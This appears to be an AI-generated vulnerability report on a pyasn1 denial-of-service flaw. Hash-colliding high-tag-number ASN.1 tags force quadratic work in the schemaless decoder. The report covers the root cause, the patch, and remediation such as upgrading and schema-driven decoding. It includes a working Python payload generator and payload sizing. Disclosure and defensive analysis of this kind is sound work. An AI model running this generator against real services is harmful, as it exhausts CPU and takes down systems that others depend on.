CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-119194

CVE-2026-119194: Algorithmic Complexity Denial of Service in pyasn1 Schemaless ASN.1 Decoder

Alon Barad
Alon Barad
Software Engineer

Oct 31, 2026·9 min read·4 visits

Executive Summary (TL;DR)

An unbounded set tracking component tag types in pyasn1's schemaless BER/CER/DER decoder allows attackers to trigger O(N^2) hash collisions using crafted high-tag-number ASN.1 payloads, leading to CPU exhaustion and Denial of Service.

CVE-2026-119194 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting versions 0.3.3 through 0.6.4. The flaw resides in the schemaless decoding routine ConstructedPayloadDecoderBase._decodeComponentsSchemaless used across BER, CER, and DER codecs. By sending an ASN.1 container populated with child components whose tag identifiers are separated by multiples of CPython's integer hash modulus (sys.hash_info.modulus), an unauthenticated attacker can force worst-case hash collisions in an unbounded Python set, degrading decoding performance from O(N) to O(N^2) and causing a Denial of Service (DoS).

Vulnerability Overview

pyasn1 is a pure-Python implementation of Abstract Syntax Notation One (ASN.1) types and Basic, Canonical, and Distinguished Encoding Rules (BER, CER, DER). It serves as a foundational parsing library for numerous network protocols and cryptographic formats in the Python ecosystem, including Lightweight Directory Access Protocol (LDAP), Simple Network Management Protocol (SNMP), and X.509 Public Key Infrastructure (PKI) services.

CVE-2026-119194 (also tracked as GHSA-fm9c-5rcf-2q5p) is an inefficient algorithmic complexity vulnerability (CWE-407) located in ConstructedPayloadDecoderBase._decodeComponentsSchemaless within pyasn1/codec/ber/decoder.py. Because the CER and DER decoders inherit their constructed payload handling directly from the BER implementation, all three encoding rule sets are affected.

The vulnerability is exposed when an application calls decoder.decode() on untrusted ASN.1 substrates without providing an explicit schema specification (asn1Spec=None). In this operational mode, the decoder inspects the tags of all incoming child elements to infer whether the parent container is homogeneous (SequenceOf or SetOf) or heterogeneous (Sequence or Set).

In versions 0.3.3 through 0.6.4, the decoder inserts the TagSet of every parsed child component into an unbounded Python set. An unauthenticated remote attacker can supply a constructed ASN.1 payload containing thousands of distinct tag numbers specifically calculated to produce identical hash values in CPython. This forces quadratic $O(N^2)$ equality comparisons during set insertion, monopolizing the Python Global Interpreter Lock (GIL) and exhausting CPU resources.

Root Cause Analysis

In ASN.1 wire formats (BER, CER, and DER), constructed container types (SEQUENCE / SEQUENCE OF and SET / SET OF) share identical outer tag identifiers (0x30 for Sequence and 0x31 for Set). When decoding a byte stream without a schema (asn1Spec=None), pyasn1 cannot know in advance whether a 0x30 container represents a univ.Sequence (which holds fields of varying types) or a univ.SequenceOf (which holds a list of elements of the exact same type).

To resolve this ambiguity dynamically, ConstructedPayloadDecoderBase._decodeComponentsSchemaless tracks the TagSet of each decoded child element inside a local Python set named componentTypes. After all child elements in the container are decoded, the method checks the cardinality of componentTypes. If len(componentTypes) <= 1, all elements share the same tag type and the container is instantiated as SequenceOf or SetOf. If len(componentTypes) >= 2, the container contains mixed types and is instantiated as Sequence or Set.

The root cause of CVE-2026-119194 is that _decodeComponentsSchemaless executed componentTypes.add(component.tagSet) unconditionally for every child component in the container. Even after two distinct TagSet objects had already been recorded—which permanently settles the heuristic in favor of a heterogeneous Sequence or Set—the decoder continued inserting all subsequent TagSet objects into componentTypes.

In CPython, the hash of an arbitrary-precision integer $x$ is computed via modular reduction against a fixed Mersenne prime modulus defined in sys.hash_info.modulus (which is $2^{61} - 1$ on 64-bit platforms and $2^{31} - 1$ on 32-bit platforms):

$$\text{hash}(x) = x \pmod{\text{sys.hash_info.modulus}}$$

While Python randomizes string and byte hashes via SipHash-2-4 (PEP 456) to prevent hash-flooding attacks, integer hashing remains deterministic, and tuple hashes are derived deterministically from the hashes of their constituent elements. In pyasn1, a Tag object caches its hash based on a tuple of (tagClass, tagFormat, tagId), and a TagSet hashes the tuple of its Tag objects.

Because ASN.1 supports high-tag-number encoding (where tag bits 0x1F indicate that the tag ID follows in base-128 variable-length octets), an attacker can encode arbitrarily large integer values for tagId. By constructing child components where the $i$-th component uses:

$$\text{tagId}_i = C + i \times \text{sys.hash_info.modulus}$$

every resulting TagSet object is distinct (tagSet_i != tagSet_j), yet every single one evaluates to the exact same hash value. When inserting the $k$-th colliding TagSet into componentTypes, Python's set implementation hits the exact same hash bucket and must traverse the open-addressing probe sequence, invoking TagSet.__eq__ against all $k - 1$ previously inserted objects. Across $N$ components, the total number of equality comparisons reaches:

$$\sum_{k=1}^{N} (k - 1) = \frac{N(N - 1)}{2} = O(N^2)$$

Code Analysis

The vulnerability was remediated in commit a36e3a3d067148d26197a6b7221fd0e2cde9cc86 (Pull Request #132). The patch modifies ConstructedPayloadDecoderBase._decodeComponentsSchemaless in pyasn1/codec/ber/decoder.py.

--- a/pyasn1/codec/ber/decoder.py
+++ b/pyasn1/codec/ber/decoder.py
@@ -695,7 +695,10 @@ def _decodeComponentsSchemaless(
                 break
 
             components.append(component)
-            componentTypes.add(component.tagSet)
+            # Two distinct types settle the choice; keep the set bounded
+            # to avoid quadratic comparisons for colliding tag hashes.
+            if len(componentTypes) < 2:
+                componentTypes.add(component.tagSet)
 
             # Now we have to guess is it SEQUENCE/SET or SEQUENCE OF/SET OF
             # The heuristics is:

To understand how the fix operates in context, examine the complete structure of _decodeComponentsSchemaless after the patch is applied:

def _decodeComponentsSchemaless(
        self, substrate, tagSet=None, decodeFun=None,
        allowEoo=True, **options):
 
    components = []
    componentTypes = set()
 
    while substrate:
        component, substrate = decodeFun(
            substrate, **options
        )
        if allowEoo and component is eoo.endOfOctets:
            break
 
        components.append(component)
        # PATCH: Bound the set size to a maximum of 2 elements.
        # Once 2 distinct TagSets are recorded, the container is known
        # to be heterogeneous (Sequence/Set rather than SequenceOf/SetOf).
        if len(componentTypes) < 2:
            componentTypes.add(component.tagSet)
 
    # Heuristic evaluation downstream:
    if len(componentTypes) > 1:
        protoComponent = self.protoRecordComponent
    else:
        protoComponent = self.protoSequenceComponent

> [!NOTE] > Assessment of Fix Completeness: The fix is mathematically sound and complete for this code path. If an attacker supplies identical tags, componentTypes holds 1 element and component.tagSet in componentTypes resolves in a single equality check (True). If an attacker supplies distinct colliding tags, the first two distinct TagSet objects are inserted into componentTypes, bringing len(componentTypes) to 2. For all subsequent components ($i \ge 3$), the guard condition len(componentTypes) < 2 evaluates to False, completely bypassing both hash calculation and set insertion. The maximum number of hash collisions per container is strictly bounded to 1 comparison, restoring linear $O(N)$ runtime complexity.

Exploitation

Exploiting CVE-2026-119194 requires an application to pass attacker-controlled bytes to pyasn1's BER, CER, or DER decode() function without specifying an asn1Spec parameter. No authentication or prior state is required at the library level.

To construct a colliding payload, the attacker encodes an outer constructed container (such as a SEQUENCE with tag 0x30) containing $N$ child elements. Each child element is wrapped in an explicit context-specific constructed tag using ASN.1 long-form (high-tag-number) encoding:

  1. First Octet (0xBF): Sets the tag class to Context-Specific (0b10), the format to Constructed (0b1), and the tag number bits to 0b11111 (31), signaling that the actual tag ID follows in base-128 octets.
  2. Subsequent Tag ID Octets: Encode $\text{tagId}_i = 32 + i \times (2^{61} - 1)$ in big-endian base-128 format, where bit 8 (0x80) is set on all octets except the final octet.
  3. Inner Payload: A minimal valid ASN.1 primitive, such as a 1-byte OCTET STRING (0x04 0x01 0x00), minimizing payload byte size relative to component count.

The following proof-of-concept generator, adapted from the official regression test suite in tests/codec/test_decoder_schemaless.py, demonstrates how the colliding substrate is constructed:

import sys
from pyasn1.codec.ber import decoder as ber_decoder
 
def encode_length(length):
    if length < 128:
        return bytes([length])
    octets = length.to_bytes((length.bit_length() + 7) // 8, 'big')
    return bytes([0x80 | len(octets)]) + octets
 
def encode_constructed(identifier, body, indefinite=False):
    if indefinite:
        return identifier + b'\x80' + body + b'\x00\x00'
    return identifier + encode_length(len(body)) + body
 
def craft_colliding_substrate(container_tag=0x30, count=5000, indefinite=False):
    # Use CPython's 64-bit hash modulus (2**61 - 1) to force collisions
    modulus = sys.hash_info.modulus
    tag_ids = [32 + idx * modulus for idx in range(count)]
    
    components = []
    for idx, tag_id in enumerate(tag_ids):
        octets = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            octets.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        # 0xBF = Context-specific | Constructed | Long-form tag (31)
        identifier = b'\xbf' + bytes(reversed(octets))
        # Minimal inner OCTET STRING (tag 0x04, length 1)
        body = b'\x04\x01' + bytes([idx % 256])
        components.append(encode_constructed(identifier, body, indefinite))
    
    return encode_constructed(bytes([container_tag]), b''.join(components), indefinite)
 
# Trigger quadratic decoding behavior on pyasn1 < 0.6.5
payload = craft_colliding_substrate(count=5000)
decoded, _ = ber_decoder.decode(payload)

Each encoded component requires approximately 15 bytes on the wire (1 byte for 0xBF, 9–10 bytes for the base-128 encoded multiple of $2^{61}-1$, 1 length byte, and 3 bytes for the inner OCTET STRING). Consequently, a payload of roughly 150 KB can pack $N = 10,000$ colliding components, triggering approximately $50,000,000$ TagSet.__eq__ evaluations and stalling the Python worker process.

Impact Assessment

CVE-2026-119194 is rated 7.5 (High) under CVSS v3.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). The vulnerability impacts availability exclusively, with no direct effect on confidentiality or integrity.

When exploited against a network service, the quadratic CPU consumption occurs inside pure-Python bytecode execution (TagSet.__eq__ and tuple comparison routines). Because CPython's Global Interpreter Lock (GIL) serializes bytecode execution across OS threads within a single process, a single malicious request can degrade or freeze all concurrent threads in a multi-threaded Python service.

In asynchronous frameworks (such as asyncio or Twisted) where ASN.1 parsing is performed synchronously on the main event loop thread, processing a colliding substrate blocks the event loop entirely, preventing the server from accepting new connections or servicing existing sockets until the quadratic loop finishes.

While the Exploit Prediction Scoring System (EPSS) score is currently low (0.00425, 36.83rd percentile) and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, any Python service performing diagnostic, proxy, or dynamic inspection of ASN.1 structures without an explicit schema is vulnerable to resource exhaustion.

Remediation

The primary remediation is to upgrade pyasn1 to version 0.6.5 or later, which bounds the componentTypes set to a maximum of 2 items during schemaless decoding.

pip install --upgrade "pyasn1>=0.6.5"

For environments where immediate package upgrades are not feasible, developers and administrators should apply the following architectural mitigations:

  1. Enforce Schema-Driven Decoding: Always pass an explicit asn1Spec model when calling decoder.decode(). When asn1Spec is provided, pyasn1 uses the schema definition to determine whether a constructed container is a Sequence or SequenceOf, completely bypassing _decodeComponentsSchemaless.
from pyasn1.codec.ber import decoder
from pyasn1.type import univ, namedtype
 
class ExpectedPayload(univ.Sequence):
    componentType = namedtype.NamedTypes(
        namedtype.NamedType('id', univ.Integer()),
        namedtype.NamedType('data', univ.OctetString())
    )
 
# Safe: _decodeComponentsSchemaless is never invoked when asn1Spec is set
decoded, rest = decoder.decode(substrate, asn1Spec=ExpectedPayload())
  1. Restrict Payload Sizes at the Transport Layer: Enforce strict maximum message size limits on incoming ASN.1 payloads before passing buffers to pyasn1. Because each colliding high-tag-number element requires at least 14–15 bytes on 64-bit systems, limiting maximum ASN.1 frame sizes reduces the maximum achievable value of $N$ in the $O(N^2)$ complexity curve.

Official Patches

pyasn1pyasn1 v0.6.5 Official Release
pyasn1Pull Request #132 fixing the quadratic hash collision issue
GitHubGitHub Security Advisory GHSA-fm9c-5rcf-2q5p
Red HatRed Hat Security Advisory for CVE-2026-119194

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.43%
Top 63% most exploited

Affected Systems

pyasn1 (>= 0.3.3, < 0.6.5)Red Hat Enterprise Linux (python-pyasn1 packages)Debian Linux (python3-pyasn1 packages)Ubuntu Linux (python3-pyasn1 packages)

Affected Versions Detail

Product
Affected Versions
Fixed Version
pyasn1
pyasn1
>= 0.3.3, < 0.6.50.6.5
AttributeDetail
Vulnerability IDCVE-2026-119194 / GHSA-fm9c-5rcf-2q5p
Weakness ClassCWE-407: Inefficient Algorithmic Complexity
CVSS v3.1 Score7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
EPSS Score0.43% (36.83rd Percentile)
Affected ComponentConstructedPayloadDecoderBase._decodeComponentsSchemaless (BER/CER/DER)
ImpactDenial of Service via O(N^2) CPU Exhaustion
Fixed Versionpyasn1 0.6.5
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.004Application or System Exploitation
Impact
CWE-407
Inefficient Algorithmic Complexity

The product uses an algorithm that has an inefficient algorithmic complexity (such as O(N^2) instead of O(N) or O(1)) that can be triggered by an attacker, leading to excessive resource consumption.

Known Exploits & Detection

GitHub (Official Regression Test Suite)Proof-of-concept function craft_colliding_substrate() included in tests/codec/test_decoder_schemaless.py within the official fix commit.

Vulnerability Timeline

Fix committed to pyasn1 repository (a36e3a3d067148d26197a6b7221fd0e2cde9cc86)
2026-10-27
CVE-2026-119194 and GHSA-fm9c-5rcf-2q5p published alongside pyasn1 v0.6.5 release
2026-10-29
CVE record updated with downstream distribution tracking
2026-10-31

References & Sources

  • [1]GitHub Security Advisory GHSA-fm9c-5rcf-2q5p
  • [2]pyasn1 Fix Commit a36e3a3d067148d26197a6b7221fd0e2cde9cc86
  • [3]pyasn1 Pull Request #132
  • [4]pyasn1 Release v0.6.5
  • [5]NVD - CVE-2026-119194
  • [6]CVE.org Record: CVE-2026-119194
  • [7]Red Hat Customer Portal - CVE-2026-119194
  • [8]Red Hat Bugzilla - Bug 2563664

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•17 minutes ago•CVE-2026-118775
3.7

CVE-2026-118775: ASN.1 OID First Arc Truncation and Ambiguity in node-forge

CVE-2026-118775 (GHSA-4642-5mcj-2rqw) is an integer overflow and validation flaw in the ASN.1 serialization module of Forge (node-forge) prior to version 1.4.1. The asn1.oidToDer() function fails to validate the range of the first two arcs of an Object Identifier (OID) and truncates the packed initial subidentifier to a single 8-bit integer. Applications that perform policy checks on untrusted OID strings before encoding them into Distinguished Encoding Rules (DER) format can be tricked into emitting DER bytes that correspond to a completely different, restricted OID.

Amit Schendel
Amit Schendel
2 views•10 min read
•about 2 hours ago•CVE-2026-119195
7.5

CVE-2026-119195: Quadratic-Time Denial of Service in pyasn1 BER/CER/DER Decoders

CVE-2026-119195 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting all versions prior to 0.6.5. When decoding constructed strings or indefinite-length ANY types across BER, CER, and certain DER code paths, the payload decoders repeatedly concatenate incoming fragments onto an immutable bytes object using the += operator. Because Python bytes objects cannot be resized in-place, each fragment iteration allocates a new buffer and copies all previously accumulated bytes, resulting in quadratic O(N^2) time and memory copy complexity. An unauthenticated remote attacker can supply a highly fragmented ASN.1 stream to exhaust CPU cycles and stall application worker threads.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 3 hours ago•CVE-2026-119197
7.5

CVE-2026-119197: Quadratic Algorithmic Complexity Denial of Service in pyasn1 REAL Mantissa Decoder

An algorithmic complexity vulnerability (CWE-407) in pyasn1 versions prior to 0.6.5 allows unauthenticated attackers to cause a Denial of Service (DoS) via crafted ASN.1 payloads. The flaw resides in the binary-encoded ASN.1 REAL mantissa deserialization routine within RealPayloadDecoder.valueDecoder. By performing iterative byte-string slicing and repeated bitwise shifts on a growing arbitrary-precision integer, the decoder exhibits quadratic time and memory allocation complexity relative to the mantissa length. Supplying a BER-, CER-, or DER-encoded payload with a large REAL mantissa causes excessive CPU consumption and blocks application worker processes.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 4 hours ago•CVE-2026-119196
7.5

CVE-2026-119196: Quadratic CPU Consumption in pyasn1 Constructed BIT STRING Decoding

A vulnerability classified under CWE-407 (Inefficient Algorithmic Complexity) exists in the pyasn1 library prior to version 0.6.5. When parsing constructed ASN.1 BIT STRING payloads under BER, CER, or schema-driven DER encoding rules, the BitStringPayloadDecoder repeatedly shifts and copies the entire accumulated bit value for each incoming fragment. Processing inputs with a large number of small constructed fragments induces quadratic CPU consumption, allowing unauthenticated remote attackers to cause a denial of service via resource exhaustion during the initial decoding phase.

Alon Barad
Alon Barad
6 views•10 min read
•about 5 hours ago•CVE-2026-119209
5.5

CVE-2026-119209: Uncontrolled Resource Consumption in pypdf XRef Stream Parser

CVE-2026-119209 is an uncontrolled resource consumption vulnerability in the pypdf Python library prior to version 6.21.3. The flaw exists within the PDF 1.5 cross-reference (XRef) stream parsing routines in pypdf/_reader.py. Due to the absence of a document-wide entry limit across chained cross-reference streams and improper validation of negative entry counts in the /Index array, an attacker can craft a compact PDF file that triggers excessive memory allocation, resulting in a Denial of Service (DoS) via MemoryError or process termination.

Alon Barad
Alon Barad
6 views•11 min read
•about 6 hours ago•CVE-2026-119208
7.1

CVE-2026-119208: Uncontrolled Resource Consumption in pypdf Encrypted Page Count Evaluation

CVE-2026-119208 is an uncontrolled resource consumption vulnerability in the pypdf Python library prior to version 6.21.3. When processing an encrypted PDF file after successful decryption, the get_num_pages() method fails to verify whether the encryption handler has already unlocked the document. Consequently, pypdf returns the unvalidated /Count integer directly from the /Pages catalog dictionary instead of traversing and flattening the actual page tree. Attackers can supply an encrypted PDF with an artificially inflated /Count attribute to trigger excessive memory allocation and prolonged CPU usage during downstream operations such as page iteration or label resolution.

Amit Schendel
Amit Schendel
8 views•9 min read